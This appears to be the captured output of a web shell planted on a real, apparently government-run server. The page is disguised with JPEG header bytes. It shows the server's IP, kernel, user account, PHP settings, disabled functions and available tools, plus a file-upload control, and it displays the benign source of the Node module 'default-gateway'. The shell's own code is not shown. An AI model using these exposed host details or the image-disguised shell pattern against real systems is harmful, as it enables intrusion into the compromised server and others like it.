ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.137.220.108 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/default-gateway/ |
Upload File : |
"use strict"; const {isIP} = require("net"); const execa = require("execa"); const dests = new Set(["default", "0.0.0.0", "0.0.0.0/0", "::", "::/0"]); const args = { v4: ["-rn", "-f", "inet"], v6: ["-rn", "-f", "inet6"], }; const parse = stdout => { let result; (stdout || "").trim().split("\n").some(line => { const [target, gateway, _, iface] = line.split(/ +/) || []; if (dests.has(target) && gateway && isIP(gateway)) { result = {gateway, interface: (iface ? iface : null)}; return true; } }); if (!result) { throw new Error("Unable to determine default gateway"); } return result; }; const promise = async family => { const {stdout} = await execa("netstat", args[family]); return parse(stdout); }; const sync = family => { const {stdout} = execa.sync("netstat", args[family]); return parse(stdout); }; module.exports.v4 = () => promise("v4"); module.exports.v6 = () => promise("v6"); module.exports.v4.sync = () => sync("v4"); module.exports.v6.sync = () => sync("v6");